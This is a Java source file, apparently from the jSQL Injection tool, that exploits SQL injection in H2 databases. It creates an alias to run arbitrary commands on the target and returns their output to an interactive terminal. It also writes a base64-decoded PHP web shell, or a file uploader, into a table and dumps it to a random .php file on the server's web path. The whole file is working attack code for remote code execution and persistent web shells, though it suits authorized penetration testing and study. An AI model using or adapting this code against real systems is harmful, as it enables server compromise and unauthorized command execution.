ExploitH2.java

package com.jsql.model.accessible.vendor;

import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.DataAccess;
import com.jsql.model.accessible.ResourceAccess;
import com.jsql.model.accessible.vendor.h2.ModelYamlH2;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.exception.JSqlRuntimeException;
import com.jsql.util.LogLevelUtil;
import com.jsql.util.StringUtil;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.yaml.snakeyaml.Yaml;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.http.HttpResponse;
import java.util.UUID;
import java.util.function.BinaryOperator;

public class ExploitH2 {

    /**
     * Log4j logger sent to view.
     */
    private static final Logger LOGGER = LogManager.getRootLogger();
    private final InjectionModel injectionModel;
    private final ModelYamlH2 modelYaml;

    public ExploitH2(InjectionModel injectionModel) {
        this.injectionModel = injectionModel;
        var yaml = new Yaml();
        this.modelYaml = yaml.loadAs(
            injectionModel.getMediatorVendor().getH2().instance().getModelYaml().getResource().getExploit(),
            ModelYamlH2.class
        );
    }

    public void createUdf() throws JSqlException {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");

        this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
        this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
        var result = this.injectionModel.getResourceAccess().getResult(String.format(
            this.modelYaml.getRce().getRunCmd(),
            ResourceAccess.WEB_CONFIRM_CMD +"%20"
        ), ResourceAccess.RUN_FUNC);
        if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
            var request = new Request();
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_H2);
            request.setParameters(null, null);
            this.injectionModel.sendToViews(request);
        }
    }

    public String runRce(String command, UUID uuidShell) {
        String result;
        try {
            result = this.injectionModel.getResourceAccess().getResult(String.format(
                this.modelYaml.getRce().getRunCmd(),
                command.replace(StringUtils.SPACE, "%20")
            ), ResourceAccess.RUN_FUNC);
        } catch (JSqlException e) {
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
        }
        var request = new Request();
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
        request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
        this.injectionModel.sendToViews(request);
        return result;
    }

    public String createWeb(String pathExploit, String urlExploit) {
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");

        String bodyExploit = StringUtil.base64Decode(
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
            )
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);

        var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getRce().getCreateTable(),
            nameTable,
            nameTable, bodyExploit.replace("'", "\"")
        ), ResourceAccess.TBL_CREATE);
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getRce().getScriptSimple(),
            pathExploit + nameExploit,
            nameTable
        ), ResourceAccess.TBL_DUMP);

        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
            String result = this.injectionModel.getResourceAccess().callCommand(
                urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
            );
            if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
                return StringUtils.EMPTY;
            }
            var request = new Request();
            request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
            request.setParameters(urlSuccess);
            this.injectionModel.sendToViews(request);
            return urlSuccess;
        };

        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
    }

    public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
        String bodyExploit = StringUtil.base64Decode(
                this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
            )
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);

        var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getRce().getCreateTable(),
            nameTable,
            nameTable, bodyExploit.replace("'", "\"")
        ), ResourceAccess.TBL_CREATE);
        var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getRce().getScriptSimple(),
            pathExploit + nameExploit,
            nameTable
        ), ResourceAccess.TBL_DUMP);

        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
                if (result.body().contains(DataAccess.LEAD +"y")) {
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
                } else {
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
                }
            } catch (InterruptedException e) {
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
                Thread.currentThread().interrupt();
            } catch (IOException | JSqlException e) {
                throw new JSqlRuntimeException(e);
            }
            return urlSuccess;
        };

        this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
    }

    public ModelYamlH2 getModelYaml() {
        return this.modelYaml;
    }
}